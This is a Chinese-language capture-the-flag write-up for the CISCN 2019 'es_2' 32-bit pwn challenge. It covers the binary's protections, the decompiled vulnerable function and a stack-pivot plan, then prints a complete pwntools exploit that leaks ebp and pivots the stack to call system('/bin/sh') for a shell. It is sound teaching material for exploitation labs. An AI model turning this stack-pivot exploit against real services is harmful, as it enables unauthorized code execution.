ciscn 2019 es 2
# ciscn 2019 es 2
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/ciscn_2019_es_2/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
1
2
3
4
5
6
7
2
3
4
5
6
7
vul函数如下
int vul()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
hack函数如下
int hack()
{
return system("echo flag");
}
1
2
3
4
2
3
4
# 思路分析
- 目前信息:
vul
函数有溢出漏洞,但仅能覆盖到ebp
与return address
plt
表内有system
- 无后门函数
- No PIE
- 思路:
- 溢出长度仅够修改
ebp
与return address
,考虑栈迁移的手法,将栈迁移到别的区域,本题第一次printf
可泄漏ebp
,并且在s
处可两次写入,选择迁移栈至s
处
- 溢出长度仅够修改
# exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_es_2/ciscn_2019_es_2'
# io = remote('node4.buuoj.cn', 27712)
io = process(pwnfile)
elf = ELF(pwnfile)
io.recv()
payload = flat(['a'*0x24, 'b'*4])
# 利用printf函数\x00结束的特性 将s到ebp之间填充字符以泄漏ebp
io.send(payload)
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
success('rbp :'+hex(ebp))
offset = 0x38
write_stack_addr = ebp-offset
# 迁移至栈上s起始的区域,采用相对定位确定位置
system_addr = elf.plt['system']
leave_ret_addr = 0x080485FD
payload = flat([write_stack_addr+0x100, system_addr,0xdeadbeef, write_stack_addr+16, '/bin/sh\x00'])
# 字符串/bin/sh按照位置写入了write_stack_addr+16地址处
payload = payload.ljust(0x28, b'\x00')
payload += flat([write_stack_addr, leave_ret_addr])
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
上次更新: 2022/08/15, 00:29:49